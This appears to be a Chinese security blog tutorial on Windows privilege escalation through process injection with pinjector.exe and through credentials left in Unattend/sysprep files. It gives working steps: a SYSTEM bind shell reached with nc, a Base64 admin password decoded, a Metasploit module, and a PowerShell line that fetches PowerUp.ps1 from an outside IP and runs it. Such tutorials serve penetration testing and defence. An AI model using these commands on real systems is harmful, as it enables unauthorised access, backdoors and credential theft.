Windows提权—进程注入、Unattended Installs提权

进程注入提权

使用 pinjector.exe 注入到system用户的进程中,使该进程绑定在0.0.0.0:port ,并建立监听端口,攻击者从攻击机上主动连接该地址,获取到系统的system权限
注入进程提权相当于开启了一个后门, 隐蔽性极高,不会创建新的进程,很难发现

下载pinjector.exe

https://www.tarasco.org/security/Process_Injector/index.html

上传 pinjector.exe到靶机可执行目录

##列取所有进程
pinjector.exe -l

在这里插入图片描述

##选择一个system权限运行的进程,对此pid进程执行注入,并建立侦听端口
pinjector.exe -p <pid> cmd <port>

在这里插入图片描述

##使用 nc 连接目标服务器端口
nc -nv 192.168.0.117 5555

连接成功,获取到system权限的shell
在这里插入图片描述

Unattended Installs提权

通常大型组织在部署某些员工较多或时间紧缺的程序时,会使用Unattended Installs自动安装,这种方式允许程序在不需要管理员的操作下进行自动安装,这种方式在部署程序前期较有用,但它也会在系统中残留一个名为Unattend的XML文件,这个XML 件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户等。

Unattend.xml 文件通常在以下文件夹中

C:\sysprep.inf

C:\syspreg\sysprep.xml

C:\Windows\system32\sysprep.inf

C:\windows\system32\sysprep\sysprep.xml

C:\unattend.xml

C:\Windows\Panther\Unattend.xml

C:\Windows\Panther\Unattended.xml

C:\Windows\Panther\Unattend\Unattended.xml

C:\Windows\Panther\Unattend\Unattend.xml

C:\Windows\System32\Sysprep\Unattend.xml

C:\Windows\System32\Sysprep\Panther\Unattend.xml

也可以使用命令全盘搜索Unattend文件

dir /b /s c:\unattend.xml

除此之外,系统中遗留的 sysprep.xmlsysprep.inf 文件中也可能包含部署系统时使用的凭证信息,可以通过利用这些信息进行提权。

通过搜索 UserAccounts 、Administrators、password 等对凭证进行定位
部分文件内容如下:

<UserAccounts> 
    <LocalAccounts> 
        <LocalAccount> 
            <Password> 
                <Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value>                         <PlainText>false</PlainText> 
            </Password> 
            <Description>Local Administrator</Description>                        <DisplayName>Administrator</DisplayName>                             <Group>Administrators</Group> 
            <Name>Administrator</Name> 
        </LocalAccount> 
    </LocalAccounts> 
</UserAccounts>

在以上文件中,可以看到 一个本地账户被创建并加入到了管理员组中。
可以猜测密码的值应该是以Base64进行编码的
对密码值进行Base64解码

UEBzc3dvcmQxMjMhUGFzc3dvcmQ=
##解码得到
P@ssword123!Password

通常微软会在编码前的密码后加上password,
所以这里本地管理员的密码实际上是:P@ssword123!

MSF中的利用模块
使用 post/windows/gather/enum_unattend 模块枚举连接的session中的Unattend

msf6 > use post/windows/gather/enum_unattend
msf6 > set session 1
msf6 >exploit

powershell 利用模块搜寻

powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://120.79.66.58/mypowershell/PowerUp.ps1');Get-UnattendedInstallFile"

参考:
https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/
https://www.cnblogs.com/zpchcbd/p/12232683.html

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值